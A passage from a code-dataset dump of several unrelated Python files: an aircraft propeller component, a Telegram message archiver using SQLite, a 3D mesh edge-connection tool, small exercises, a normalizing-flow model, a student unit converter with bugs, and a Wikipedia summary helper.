---------\n \"\"\"\n def __init__(self,\n eta,\n w,\n PI=None,\n TAU=None):\n \"\"\"\n :param w: [W] Propeller break power\n\n :type eta: float\n :type w: float\n :type PI: float\n :type TAU: float\n \"\"\"\n super().__init__(eta=1,\n PI=PI,\n TAU=TAU)\n self.w = w\n self.eta_prop = eta\n\n def thrust(self, v0):\n return self.w*self.eta_prop/v0\n\n def tf(self, gas):\n p = gas.compression(eta=self.eta, PI=self.PI, TAU=self.TAU) # Placeholder\n p.w = self.w\n return p\n\n\nclass propfan(prop):\n \"\"\"\n Propfan\n -------\n\n Fundamental difference with a propeller:\n - Disk loading.\n \"\"\"\n","repo_name":"alopezrivera/huracan","sub_path":"huracan/components/rotary.py","file_name":"rotary.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"78"} +{"seq_id":"6814995935","text":"import os\nimport traceback\nimport json\nfrom dotenv import load_dotenv # python-dotenv\nimport psycopg2 # psycopg2-binary\nfrom telethon.sync import TelegramClient\nimport sqlite3\nfrom datetime import datetime, timedelta\n# from telethon.sync import TelegramClient, events\n# from telethon.tl.types import PeerUser, PeerChat, PeerChannel\n# select chat_id, data->'$.message' from messages order by created DESC limit 100;\nload_dotenv(verbose=True)\napi_id = os.getenv(\"API_ID\")\napi_hash = os.getenv(\"API_HASH\")\nids = os.getenv(\"ID\").split()\ncounter = 0\n# f = open(\"debug.txt\", \"w\", encoding='utf-8')\n# print(api_id, api_hash)\ndate_mark = datetime.today() - timedelta(days=5)\n\ndatabase_dict = {\n \"messages\":\n \"\"\"CREATE TABLE IF NOT EXISTS messages (\n id INTEGER NOT NULL PRIMARY KEY UNIQUE,\t\n chat_id INTEGER,\n data json,\t\n created TIMESTAMP DEFAULT CURRENT_TIMESTAMP,\n imagepath text,\n tg_id integer unique\n )\"\"\",\n \"users\":\n \"\"\"CREATE TABLE IF NOT EXISTS users (\n id SERIAL PRIMARY KEY,\t\n username text,\t\n firstname text,\n lastname text,\n tg_id integer unique\n )\"\"\",\n \"channels\":\n \"\"\"CREATE TABLE IF NOT EXISTS channels (\n id SERIAL PRIMARY KEY,\t\n name text, \n tg_id integer unique\n )\"\"\",\n}\n\n\n# CREATE TABLE groups (\n# id INTEGER NOT NULL PRIMARY KEY UNIQUE,\t\n# chat_id INTEGER,\n# data json,\t\n# created TIMESTAMP DEFAULT CURRENT_TIMESTAMP,\n# imagepath text,\n# tg_id integer unique\n# );\n\n\ntry:\n sqlite_connection = sqlite3.connect('tg.db')\n cursor = sqlite_connection.cursor()\n print(\"Connected\")\n cursor.execute(database_dict[\"messages\"])\n sqlite_select_query = \"select sqlite_version()\"\n cursor.execute(sqlite_select_query)\n record = cursor.fetchall()\n print(\"Version\", record[0][0])\n\n # conn = psycopg2.connect(dbname=db_name, user=db_user, password=db_pass, host='localhost')\n # cursor = conn.cursor()\n # group_id = 0\n # cursor.execute(\"SELECT table_name FROM information_schema.columns WHERE table_schema = 'public' GROUP BY table_name\")\n # res = cursor.fetchall()\n # if res:\n # tables = [x[0] for x in res]\n # diff = set(database_dict.keys()).difference(set(tables))\n # if(len(diff)):\n # for table in diff:\n # print(\"init table:\", table)\n # # cursor.execute(database_dict[table])\n # # cursor.execute(\"ALTER TABLE %s OWNER TO %s\", (table, db_user))\n # # conn.commit()\n \n # exit()\n\n with TelegramClient('tg', api_id, api_hash) as client:\n # for dialog in client.iter_dialogs():\n # # print(dialog.title, dialog.id)\n # if dialog.id < 0:\n # print(dialog.title, dialog.id)\n # exit()\n # if dialog.title == group_name:\n # print(dialog, file=f)\n # break\n # c = client.get_entity(PeerChat(int(id)))\n # , min_id = 100000, limit=2\n\n for person in client.get_participants(int(ids[1])):\n who = person.to_dict()\n # print(who[\"username\"], who[\"first_name\"], who[\"last_name\"], who[\"id\"])\n cursor.execute(\"INSERT INTO users(username, firstname, lastname, tg_id) VALUES (?, ?, ?, ?) ON CONFLICT (tg_id) DO NOTHING\",\n (who[\"username\"], who[\"first_name\"], who[\"last_name\"], who[\"id\"]))\n \n # conn.commit()\n\n for id in ids:\n print(\"fetching\", str(id))\n for message in client.iter_messages(int(id), reverse=True, offset_date = date_mark):\n # print(message.id)\n # print (message.to_dict())\n message_json = json.dumps(message.to_dict(), ensure_ascii=False, default=str)\n counter +=1\n jpg_name = \"\"\n\n try:\n if hasattr(message, \"media\") and hasattr(message.media, \"photo\"):\n # print('File Name :' + str(dir(message.media.photo)))\n # print('File Name :' + message.file.ext, message.media.photo.dc_id)\n jpg_name = str(message.media.photo.id) + message.file.ext\n jpg_path = os.path.join(\"media\", jpg_name)\n if not os.path.exists(jpg_path):\n saved_path = message.download_media(jpg_path)\n cursor.execute(\"INSERT INTO messages (tg_id, data, imagepath, chat_id) VALUES (?, ?, ?, ?) ON CONFLICT (tg_id) DO NOTHING\", (message.id, message_json, jpg_name, id))\n\n except:\n print(\"=====================================\")\n print(traceback.format_exc())\n print(message_json)\n print(\"=====================================\")\n exit()\n print(\"got\", counter)\n counter = 0\n # conn.commit()\n # cursor.execute(\"SELECT COUNT(*) from messages\")\n # # select count(*) from messages where length(imagepath) > 0;\n # res = cursor.fetchall()\n # print(f\"DB count: {res[0][0]}\")\n # cursor.close()\n # conn.close()\n sqlite_connection.commit()\n cursor.close()\n\nexcept sqlite3.Error as error:\n print(\"SQLite error!\", error)\nfinally:\n if (sqlite_connection):\n sqlite_connection.close()\n print(\"Closed\")\n","repo_name":"yaskevich/upgraded-guacamole","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9590968175","text":"from Britefury.GL.GL import *\n\nfrom copy import deepcopy\n\nfrom Britefury.View.View import PaintLayer\n\nfrom Britefury.WorkArea.Viewport3d import Viewport3d, Viewport3dPainter\nfrom Britefury.Graphics.Graphics import glColor3Colour3f, glVertex3Point3\n\nfrom Britefury.UI.FormLayout import FormLayoutFactory\n\nfrom Britefury.Util.CoEventHandler import CoEventHandler\n\nfrom Britefury.Sheet.Sheet import *\nfrom Britefury.SheetEdit.FieldEditors import *\n\nfrom Britefury.ProceduralCore.GSProcedure import *\n\nfrom Britefury.ProceduralTool.GSProcedureAdjustableInvoker import GSProcedureAdjustableInvoker\nfrom Britefury.ProceduralTool.GSProcedureTool import *\n\nfrom Britefury.Manipulator.Manipulator import Manipulator\nfrom Britefury.Manipulator.FieldManipulators import *\n\nfrom Britefury.Mesh.Mesh import GSProductMesh\nfrom Britefury.Mesh.MeshPickHelper import *\n\nfrom Britefury.Model import ModelDraw\nfrom Britefury.Model.TargetList import TargetList\nfrom Britefury.Model.TargetListFieldEdit import *\nfrom Britefury.Model.Model import pyMPickList_to_MPickList, MPickList\n\n\n\n\n\n\nclass ProcMeshConnectEdges (GSProcedure):\n\ttargetList = Field( TargetList, TargetList() )\n\tterminalVertexTargetList = Field( TargetList, TargetList() )\n\n\tdescription = _( 'Connect edges' )\n\tinputClass = GSProductMesh\n\n\tdef procedureInvoke(self, inputObject, errorHandler):\n\t\tmpicks = MPickList()\n\t\tterminalMPicks = MPickList()\n\t\tpyMPickList_to_MPickList( [ pick.toMPick() for pick in self.targetList ], mpicks )\n\t\tpyMPickList_to_MPickList( [ pick.toMPick() for pick in self.terminalVertexTargetList ], terminalMPicks )\n\t\tinputObject.connectMarkedEdges( mpicks, terminalMPicks, True )\n\t\treturn inputObject\n\n\n\n\nclass MeshConnectEdgesManipulator (Manipulator, MeshPickHelper):\n\tTARGET_TERMINALVERTEX = 0\n\tTARGET_EDGE = 1\n\n\tdef __init__(self):\n\t\tsuper( MeshConnectEdgesManipulator, self ).__init__()\n\t\tself._cell = None\n\t\tself._terminalCell = None\n\t\tself._connectStateCell = None\n\n\t\tself._seedEdgeIndex = -1\n\t\tself._seedEdgeSegment = None\n\t\tself._seedPickPoint = None\n\t\tself._bSeedValid = False\n\n\t\tself._terminalVertexPosition = None\n\n\t\tself._ringSegments = []\n\t\tself._cutPoints = []\n\t\tself._bClosed = False\n\n\t\tself._target = MeshConnectEdgesManipulator.TARGET_EDGE\n\n\t\tself._o_setUISensitivity( False )\n\n\n\n\n\tdef manipAttachToView(self, view):\n\t\tsuper( MeshConnectEdgesManipulator, self ).manipAttachToView( view )\n\t\tself.attachView( view )\n\t\tself._view.addEventHandler( self, Viewport3d )\t\t# HACK: need to handle other viewport types\n\t\tself._view.addPainter( self, Viewport3d )\n\t\tself._view.postRedraw()\n\n\tdef manipDetachFromView(self):\n\t\tself._view.removeEventHandler( self, Viewport3d )\n\t\tself._view.removePainter( self, Viewport3d )\n\t\tself._view.postRedraw()\n\t\tself.detachView()\n\t\tsuper( MeshConnectEdgesManipulator, self ).manipDetachFromView()\n\n\n\tdef attachCells(self, cell, terminalCell, connectStateCell):\n\t\tassert self._cell is None, 'already attached to a cell'\n\t\tself._cell = cell\n\t\tself._terminalCell = terminalCell\n\t\tself._connectStateCell = connectStateCell\n\t\tself._o_watchCellValidity( self._cell )\n\t\tself._o_watchCellValidity( self._terminalCell )\n\t\tself._o_watchCellValidity( self._connectStateCell )\n\t\tself._o_refreshSensitivity()\n\n\tdef detachCells(self):\n\t\tassert self._cell is not None, 'not attached to a cell'\n\t\tself._o_stopWatchingCellValidity( self._cell )\n\t\tself._o_stopWatchingCellValidity( self._terminalCell )\n\t\tself._o_stopWatchingCellValidity( self._connectStateCell )\n\t\tself._cell = None\n\t\tself._terminalCell = None\n\t\tself._connectStateCell = None\n\t\tself._o_refreshSensitivity()\n\n\n\n\tdef _o_setUISensitivity(self, bSensitive):\n\t\tself._o_setMeshPickHelperSensitivity( bSensitive )\n\n\tdef _o_isValid(self):\n\t\tif self._cell is not None and self._terminalCell is not None:\n\t\t\treturn self._cell.isValid() and self._terminalCell.isValid()\n\t\telse:\n\t\t\treturn False\n\n\n\n\tdef _p_refreshHit(self, viewport, mesh, pick):\n\t\tif viewport.pointerStatus.bShiftKey:\n\t\t\tself._target = MeshConnectEdgesManipulator.TARGET_TERMINALVERTEX\n\t\t\tpickedVertexIndex, thruFaceIndex = mesh.pickVertex( pick.toMPick() )\n\t\t\tif pickedVertexIndex != -1:\n\t\t\t\tself._terminalVertexPosition = mesh.getVertexPosition( pickedVertexIndex )\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tself._terminalVertexPosition = None\n\t\t\t\treturn False\n\t\telse:\n\t\t\tself._target = MeshConnectEdgesManipulator.TARGET_EDGE\n\t\t\tpickedEdgeIndex, self._seedPickPoint, pickedFaceIndex = mesh.pickEdge( pick.toMPick() )\n\n\t\t\tif pickedEdgeIndex != self._seedEdgeIndex:\n\t\t\t\t# The seed has changed\n\t\t\t\tself._seedEdgeIndex = pickedEdgeIndex\n\n\t\t\t\tif pickedEdgeIndex != -1:\n\t\t\t\t\tself._seedEdgeSegment = mesh.getEdgeSegment( pickedEdgeIndex )\n\t\t\t\t\tif mesh.isEdgeMarked( pickedEdgeIndex ):\n\t\t\t\t\t\t# An edge was chosed; discover the bandsaw edge ring\n\t\t\t\t\t\tself._ringSegments, self._bClosed = mesh.connectMarkedEdgesGetRingSegments( pickedEdgeIndex )\n\t\t\t\t\t\tself._bSeedValid = True\n\t\t\t\t\telse:\n\t\t\t\t\t\tself._ringSegments = []\n\t\t\t\t\t\tself._bClosed = False\n\t\t\t\t\t\tself._bSeedValid = False\n\t\t\t\t\t\tself._cutPoints = []\n\t\t\t\t\t\treturn False\n\n\t\t\tif pickedEdgeIndex != -1:\n\t\t\t\tpoint, t = self._seedEdgeSegment.closestPointTo( self._seedPickPoint )\n\t\t\t\tself._cutPoints = [ segment.getPoint( t ) for segment in self._ringSegments ]\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tself._ringSegments = []\n\t\t\t\tself._cutPoints = []\n\t\t\t\treturn False\n\n\n\n\tdef _p_paintHighlight(self, viewport, paintLayer):\n\t\tif self._target == MeshConnectEdgesManipulator.TARGET_TERMINALVERTEX:\n\t\t\tif self._terminalVertexPosition is not None:\n\t\t\t\tModelDraw.drawVertexPickHighlight( self._terminalVertexPosition, ModelDraw.TARGET_HIGHLIGHT_COLOUR, paintLayer )\n\t\telif self._target == MeshConnectEdgesManipulator.TARGET_EDGE:\n\t\t\t# Highlight the seed edge\n\t\t\tif self._bSeedValid:\n\t\t\t\tModelDraw.drawEdgePickHighlight( self._seedEdgeSegment, ModelDraw.TARGET_HIGHLIGHT_COLOUR, paintLayer )\n\n\t\t\t\t# Draw the split position on the seed edge\n\t\t\t\tModelDraw.drawSplitPosition( self._seedPickPoint )\n\n\t\t\t\t# Draw the bandsaw line\n\t\t\t\tif paintLayer == PaintLayer.PAINTLAYER_TRANSPARENCY or paintLayer == PaintLayer.PAINTLAYER_WIREFRAME:\n\t\t\t\t\tcolour = ModelDraw.MODIFICATION1_HIGHLIGHT_COLOUR\n\n\t\t\t\t\tif paintLayer == PaintLayer.PAINTLAYER_TRANSPARENCY:\n\t\t\t\t\t\tcolour = ModelDraw.computeOverlayColour( colour )\n\n\t\t\t\t\tglColor3Colour3f( colour )\n\n\t\t\t\t\tif self._bClosed:\n\t\t\t\t\t\tglBegin( GL_LINE_LOOP )\n\t\t\t\t\telse:\n\t\t\t\t\t\tglBegin( GL_LINE_STRIP )\n\n\t\t\t\t\tfor point in self._cutPoints:\n\t\t\t\t\t\tglVertex3Point3( point )\n\n\t\t\t\t\tglEnd()\n\t\t\telse:\n\t\t\t\tModelDraw.drawEdgePickHighlight( self._seedEdgeSegment, ModelDraw.INVALID_TARGET_HIGHLIGHT_COLOUR, paintLayer )\n\n\n\tdef evPaint3d(self, viewport, paintLayer):\n\t\tsuper( MeshConnectEdgesManipulator, self ).evPaint3d( viewport, paintLayer )\n\n\t\tif self._connectStateCell is not None:\n\t\t\tconnectState = self._connectStateCell.getImmutableValue()\n\t\t\tif connectState is not None:\n\t\t\t\tfor point in connectState:\n\t\t\t\t\tModelDraw.drawVertexReticle( point, paintLayer == PaintLayer.PAINTLAYER_TRANSPARENCY )\n\n\n\tdef _p_pickConfirmed(self, viewport, pick):\n\t\t\"Protected - call to commit a pick\"\n\t\tassert self._cell is not None and self._terminalCell is not None, 'no cell attached'\n\t\tif self._target == MeshConnectEdgesManipulator.TARGET_TERMINALVERTEX:\n\t\t\tself._terminalCell.literalValue = self._terminalCell.value + [ pick ]\n\t\t\tself._p_commandHistoryBreak()\n\t\telif self._target == MeshConnectEdgesManipulator.TARGET_EDGE:\n\t\t\tself._cell.literalValue = self._cell.value + [ pick ]\n\t\t\tself._p_commandHistoryBreak()\n\n\n\tdef _o_resetHighlight(self):\n\t\tself._seedEdgeIndex = -1\n\t\tself._seedEdgeSegment = None\n\t\tself._seedPickPoint = None\n\n\t\tself._ringSegments = []\n\t\tself._cutPoints = []\n\t\tself._bClosed = False\n\n\n\tdef _p_onParamsChanged(self):\n\t\tself._o_resetHighlight()\n\t\tself._o_requestHighlightRefresh()\n\n\n\n\nclass MeshConnectEdgesTargetListFieldManipulator (GSProcedureToolFieldManipulator):\n\tdef __init__(self, cutTargetListField, terminalVertexTargetListField, connectStateField):\n\t\tsuper( MeshConnectEdgesTargetListFieldManipulator, self ).__init__()\n\t\tself._cutTargetListField = cutTargetListField\n\t\tself._terminalVertexTargetListField = terminalVertexTargetListField\n\t\tself._connectStateField = connectStateField\n\t\tself._o_addDependency( cutTargetListField )\n\t\tself._o_addDependency( terminalVertexTargetListField )\n\n\n\tdef createElement(self, sheetEditContext):\n\t\tmanip = MeshConnectEdgesManipulator()\n\t\treturn manip\n\n\tdef initialiseElement(self, element, sheetEditContext):\n\t\tcutTargetListCell = self._p_getCell( self._cutTargetListField, sheetEditContext )\n\t\tterminalVertexTargetListCell = self._p_getCell( self._terminalVertexTargetListField, sheetEditContext )\n\t\tconnectStateCell = self._p_getCell( self._connectStateField, sheetEditContext )\n\t\telement.attachCells( cutTargetListCell, terminalVertexTargetListCell, connectStateCell )\n\t\tif sheetEditContext.commandHistory is not None:\n\t\t\telement.commandHistory = sheetEditContext.commandHistory\n\n\tdef shutdownElement(self, element, sheetEditContext):\n\t\telement.detachCells()\n\t\telement.commandHistory = None\n\t\telement.connectState = None\n\n\n\tdef installElementEventHandlers(self, element, sheetEditContext):\n\t\telement.manipAttachToView( sheetEditContext.view )\n\n\tdef uninstallElementEventHandlers(self, element, sheetEditContext):\n\t\telement.manipDetachFromView()\n\n\n\tdef attachInputProductCell(self, element, cell):\n\t\telement.attachMeshCell( cell )\n\n\tdef detachInputProductCell(self, element, cell):\n\t\telement.detachMeshCell()\n\n\n\n\nclass MeshConnectEdgesAdjustableInvoker (GSProcedureAdjustableInvoker):\n\tfunctionClass = ProcMeshConnectEdges\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper( MeshConnectEdgesAdjustableInvoker, self ).__init__( *args, **kwargs )\n\t\tself.connectState = []\n\n\n\tdef main(self):\n\t\tmpicks = MPickList()\n\t\tpyMPickList_to_MPickList( [ pick.toMPick() for pick in self._proc.targetList ], mpicks )\n\n\t\tterminalVertexMPicks = MPickList()\n\t\tpyMPickList_to_MPickList( [ pick.toMPick() for pick in self._proc.terminalVertexTargetList ], terminalVertexMPicks )\n\n\t\tterminalVertexIndices = self._inputObject.connectMarkedEdgesGetTerminalVertices( terminalVertexMPicks )\n\t\tself.connectState[:] = [ self._inputObject.getVertexPosition( vertexIndex ) for vertexIndex in terminalVertexIndices ]\n\t\tself.mesh = deepcopy( self._inputObject )\n\t\tself.mesh.connectMarkedEdges( mpicks, terminalVertexMPicks, False )\n\n\tdef getResult(self):\n\t\treturn self.mesh\n\n\n\nclass ToolMeshConnectEdges (GSProcedureTool):\n\tsheet = SheetRefField( ProcMeshConnectEdges )\n\n\tfunctionClass = ProcMeshConnectEdges\n\tadjustableInvoker = MeshConnectEdgesAdjustableInvoker\n\tpageTitle = _( 'Connect' )\n\ttitleText = _( 'Connect Edges' )\n\n\n\tdef _p_connectState(self):\n\t\ttry:\n\t\t\tadjustableInvoker = self._adjustableInvoker\n\t\texcept AttributeError:\n\t\t\treturn None\n\n\t\tif adjustableInvoker is not None:\n\t\t\treturn adjustableInvoker.connectState\n\n\t_connectState = FunctionRefField( _p_connectState )\n\n\n\ttargetListLabel = FieldLabelWithFn( sheet.targetList, _( 'Connect targets:' ) )\n\ttargetListEditor = TargetListFieldEdit( sheet.targetList )\n\tterminalVertexTargetListLabel = FieldLabelWithFn( sheet.terminalVertexTargetList, _( 'Terminal vertex targets:' ) )\n\tterminalVertexTargetListEditor = TargetListFieldEdit( sheet.terminalVertexTargetList )\n\n\ttargetListManip = MeshConnectEdgesTargetListFieldManipulator( sheet.targetList, sheet.terminalVertexTargetList, _connectState )\n\ttargetListManip.enable()\n\n\n\tlayout = FormLayoutFactory()\n\tlayout.textBlock( _( 'Move the pointer onto the mesh and highlight marked edges to see a preview of the cut that will be made. Click to confirm the cut.\\n' 'Shift-click to choose terminal vertices, which will be connected to the ends of the cuts.' ) )\n\tlayout.row()\n\tlayout.row() << targetListLabel.label\n\tlayout.row() << targetListEditor.numTargets\n\tlayout.row() << None << ( targetListEditor.removeTarget, 2 ) << None\n\tlayout.row()\n\tlayout.row() << terminalVertexTargetListLabel.label\n\tlayout.row() << terminalVertexTargetListEditor.numTargets\n\tlayout.row() << None << ( terminalVertexTargetListEditor.removeTarget, 2 ) << None\n\tlayout.row()\n\tlayout.finalise()\n\n\n\n","repo_name":"Britefury/gsculpt","sub_path":"Britefury/MeshTools/MeshEdit/Edge/ToolMeshConnectEdges.py","file_name":"ToolMeshConnectEdges.py","file_ext":"py","file_size_in_byte":12100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73166259423","text":"# n! = (n-1)! * n \n# sum(n) = sum(n-1) + n\n\ndef recur_sum(n):\n if n <= 1:\n return n\n else:\n return n + recur_sum(n-1)\n\nd = recur_sum(5)\nprint(d) ","repo_name":"CyberBoyAyush/100-Days-Of-Code","sub_path":"Day 8/09_pr_04.py","file_name":"09_pr_04.py","file_ext":"py","file_size_in_byte":164,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"32581437844","text":"import numpy as np\nimport pylab as plt\n\ndata_rk2 = np.loadtxt(\"data_ex3_c.dat\", delimiter=\", \")\ndata_rk4 = np.loadtxt(\"data_ex3_d.dat\", delimiter=\", \")\n\ntime_rk2 = data_rk2[:,0]\nenergy_rk2 = data_rk2[:,3]\nplt.plot(time_rk2, energy_rk2)\n\ntime_rk4 = data_rk4[:,0]\nenergy_rk4 = data_rk4[:,3]\nplt.plot(time_rk4, energy_rk4)\n\nplt.xlabel(\"time\")\nplt.ylabel(\"rel. Energy error\")\nplt.legend((\"RK2\", \"RK4\"))\nplt.show()","repo_name":"shery001/FundamentalSimulationMethods","sub_path":"Fundamentals of simulation/Excercise-sheet/2/hand_in/ex2_3_d_plot.py","file_name":"ex2_3_d_plot.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27846284593","text":"from nflows.distributions import Distribution, StandardNormal\nfrom nflows.flows.base import Flow\n\nfrom . import DensityEstimator\nfrom ..utils import batch_or_dataloader\n\n\nclass NormalizingFlow(DensityEstimator):\n\n model_type = \"nf\"\n\n def __init__(self, dim, transform, base_distribution: Distribution=None, **kwargs):\n super().__init__(**kwargs)\n self.transform = transform\n\n if base_distribution is None:\n self.base_distribution = StandardNormal([dim])\n else:\n self.base_distribution = base_distribution\n\n self._nflow = Flow(\n transform=self.transform,\n distribution=self.base_distribution\n )\n\n def sample(self, n_samples):\n samples = self._nflow.sample(n_samples)\n return self._inverse_data_transform(samples)\n\n @batch_or_dataloader()\n def log_prob(self, x):\n # NOTE: Careful with log probability when using _data_transform()\n x = self._data_transform(x)\n log_prob = self._nflow.log_prob(x)\n\n if len(log_prob.shape) == 1:\n log_prob = log_prob.unsqueeze(1)\n\n return log_prob\n","repo_name":"layer6ai-labs/two_step_zoo","sub_path":"two_step_zoo/density_estimator/flow.py","file_name":"flow.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"38963764122","text":"def unit_check(question):\r\n valid = False\r\n while not valid:\r\n\r\n response = input(\"What is your chosen unit?: \")\r\n\r\n if response == \"time\" or response == \"t\":\r\n return \"You Have Chosen Time\"\r\n\r\n elif response == \"distance\" or response == \"d\":\r\n return \"You Have Chosen Distance\"\r\n\r\n elif response == \"weight\" or response == \"w\":\r\n return \"You Have Chosen Weight\"\r\n\r\n else:\r\n print(\"Please choose a valid unit in the form of Weight, Distance or Time.\")\r\n print()\r\n\r\n\r\n# def to_check(question):\r\n# my_dict = {\r\n# \"meters\": \"sky\",\r\n# \"double\": 2,\r\n# \"half\": 0.5,\r\n# \"yellow\": \"sun\",\r\n# \"green\": \"grass\",\r\n# \"red\": \"apple\"\r\n# }\r\n# valid = False\r\n# while not valid:\r\n#\r\n# response = input(\"What is your chosen unit?: \")\r\n#\r\n# for item in response:\r\n#\r\n# # check if it's a ley (ie a color in our dict)\r\n# if item in my_dict:\r\n# print(\"{} is a key in the dictionary\".format(item))\r\n# # check if it's a value (ie: an object in our dictionary)\r\n# elif item in my_dict.values():\r\n# print(\"{} is a value in the dictionary\".format(item))\r\n\r\ndef unit_check_distance(question):\r\n valid = False\r\n while not valid:\r\n\r\n response = input(question)\r\n\r\n if response == \"km\" or response == \"kilometers\":\r\n return \"Kilometers\"\r\n\r\n elif response == \"cm\" or response == \"centimeters\":\r\n return \"Centimeters\"\r\n\r\n elif response == \"m\" or response == \"meters\":\r\n return \"Meters\"\r\n\r\n else:\r\n print(\"Please choose a the unit of distance you are converting to, being Centimeters, Meters, or \"\r\n \"Kilometers\")\r\n print()\r\n\r\n\r\ndef unit_check_weight(question):\r\n valid = False\r\n while not valid:\r\n\r\n response = input(question)\r\n\r\n if response == \"grams\" or response == \"g\":\r\n return \"Grams\"\r\n\r\n elif response == \"milligrams\" or response == \"mg\":\r\n return \"Milligrams\"\r\n\r\n elif response == \"Kilograms\" or response == \"kg\":\r\n return \"Kilograms\"\r\n\r\n else:\r\n print(\"Please choose a the unit of distance you are converting to, being Milligrams, Grams, \"\r\n \"Kilograms\")\r\n print()\r\n\r\n\r\ndef statement_generator(text, decoration):\r\n # Make string with five characters\r\n ends = decoration * 5\r\n\r\n # add decoration to start and end of statement\r\n statement = \"{} {} {}\".format(ends, text, ends)\r\n\r\n print()\r\n print(statement)\r\n print()\r\n\r\n return \"\"\r\n\r\n\r\ndef instructions():\r\n statement_generator(\"Instructions/information\", \"-\")\r\n print()\r\n print(\"Please choose a number than is greater than or equal to one and less than or equal to 200\")\r\n print()\r\n print(\"Complete as many calculations as necessary, pressing at the end of each \"\r\n \"calculation or any key to quit.\")\r\n print()\r\n statement_generator(\"Converter Of Time, Weight and Distance\", \"+\")\r\n return \"\"\r\n\r\n\r\n# def distance_bits():\r\n# my_dict = {\r\n# \"Meters to Meters\": \"sky\",\r\n# \"Kilometers to Meters\": 2,\r\n# \"Meters to Kilometers\": 0.5,\r\n# \"Centimeters to Meters\": \"sun\",\r\n# \"Centimeters to Kilometers\": 1000,\r\n# \"red\": \"apple\"\r\n# }\r\n#\r\n# print() to_be_converted = input(\"Enter the unit of distance you are converting, being Meters, Centimeters,\r\n# or Kilometers: \") to_be_converted_to = unit_check_distance( \"Enter the unit of distance you are converting to,\r\n# being Meters, Centimeters, \" \"or Kilometers: \")\r\n#\r\n# print()\r\n# heading = input(\"{} to {}\".format(to_be_converted, to_be_converted_to))\r\n# statement_generator(\"You have chosen {}\", \"+\".format(heading))\r\n# print()\r\n#\r\n# return \"\"\r\n\r\n\r\ndef unit_check_time(question):\r\n valid = False\r\n while not valid:\r\n\r\n response = input(question)\r\n\r\n if response == \"grams\" or response == \"g\":\r\n return \"Grams\"\r\n\r\n elif response == \"milligrams\" or response == \"mg\":\r\n return \"Milligrams\"\r\n\r\n elif response == \"Kilograms\" or response == \"kg\":\r\n return \"Kilograms\"\r\n\r\n else:\r\n print(\"Please choose a the unit of distance you are converting to, being Seconds, Minutes \"\r\n \"Hours\")\r\n\r\n return \"\"\r\n\r\n\r\ndef time_bits():\r\n print()\r\n to_be_converted = unit_check_time(\r\n \"Enter the unit of time you are converting, being Seconds, Minutes, Hours: \")\r\n to_be_converted_to = unit_check_time(\"Enter the unit of time you are converting to, being Seconds, Minutes, \"\r\n \"Hours: \")\r\n\r\n print()\r\n heading = input(\"{} to {}\".format(to_be_converted, to_be_converted_to))\r\n statement_generator(\"You have chosen {}\", \"+\".format(heading))\r\n print()\r\n\r\n\r\ndef distance_bits():\r\n print()\r\n to_be_converted = unit_check_distance(\r\n \"Enter the unit of Distance you are converting being Centimeters, Meters, Kilometers: \")\r\n to_be_converted_to = unit_check_distance(\r\n \"Enter the unit of Distance you are to converting being Centimeters, Meters, Kilometers: \")\r\n\r\n print()\r\n heading = input(\"{} to {}\".format(to_be_converted, to_be_converted_to))\r\n statement_generator(\"You have chosen {}\", \"+\".format(heading))\r\n print()\r\n\r\n\r\ndef weight_bits():\r\n print()\r\n to_be_converted = unit_check_weight(\r\n \"Enter the unit of weight you are converting, being Milligrams, Grams, Kilograms: \")\r\n to_be_converted_to = unit_check_weight(\"Enter the unit of distance you are converting to, being Milligrams, Grams, \"\r\n \"Kilograms: \")\r\n\r\n print()\r\n heading = input(\"{} to {}\".format(to_be_converted, to_be_converted_to))\r\n statement_generator(\"You have chosen {}\", \"+\".format(heading))\r\n print()\r\n\r\n return \"\"\r\n\r\n\r\nstatement_generator(\"Converter Of Time, Weight and Distance\", \"+\")\r\n\r\nfirst_time = input(\"Press to see the instructions or any key to continue\")\r\nif first_time == \"\":\r\n instructions()\r\n\r\nkeep_going = \"\"\r\nwhile keep_going == \"\":\r\n data_type = unit_check(\"What is your chosen unit?: \")\r\n print(data_type)\r\n\r\n if data_type == \"distance\":\r\n distance_bits()\r\n\r\n elif data_type == \"time\":\r\n time_bits()\r\n\r\n else:\r\n weight_bits()\r\n\r\n print()\r\n keep_going = input(\"Press to continue or any key to quit\")\r\n\r\nprint()\r\nprint(\"Thanks for using the Converter Of Time, Weight and Distance\")\r\n","repo_name":"J-Gottschalk-NZ/2023-debugging-code","sub_path":"Student_Code/S_02_Converter.py","file_name":"S_02_Converter.py","file_ext":"py","file_size_in_byte":6676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38281867898","text":"import wikipedia\nimport requests\nimport json\nfrom app.utils import encode_url\n\ndef get_wiki_main_image(title):\n url = 'https://en.wikipedia.org/w/api.php'\n data = {\n 'action': 'query',\n 'format': 'json',\n 'formatversion': 2,\n 'prop': 'pageimages|pageterms',\n \"pithumbsize\": 500,\n 'titles': encode_url(title)\n }\n response = requests.get(url, params=data)\n json_data = json.loads(response.text)\n try:\n return json_data['query']['pages'][0]['thumbnail']['source']\n except KeyError:\n return \"https://upload.wikimedia.org/wikipedia/commons/thumb/8/80/Wikipedia-logo-v2.svg/150px-Wikipedia-logo-v2.svg.png\"\n\n\ndef getWikiSummary(query):\n try:\n search_result = wikipedia.search(query, results=1)\n if len(search_result) >= 1:\n search_result = search_result[0]\n page = wikipedia.page(search_result, auto_suggest=False)\n title = page.title\n url = page.url\n summary = wikipedia.summary(title, sentences=2, auto_suggest=False)\n image = get_wiki_main_image(search_result)\n\n return [{\"title\": title, \"url\": url, \"summary\": summary, \"image\": image}]\n else:\n return []\n except 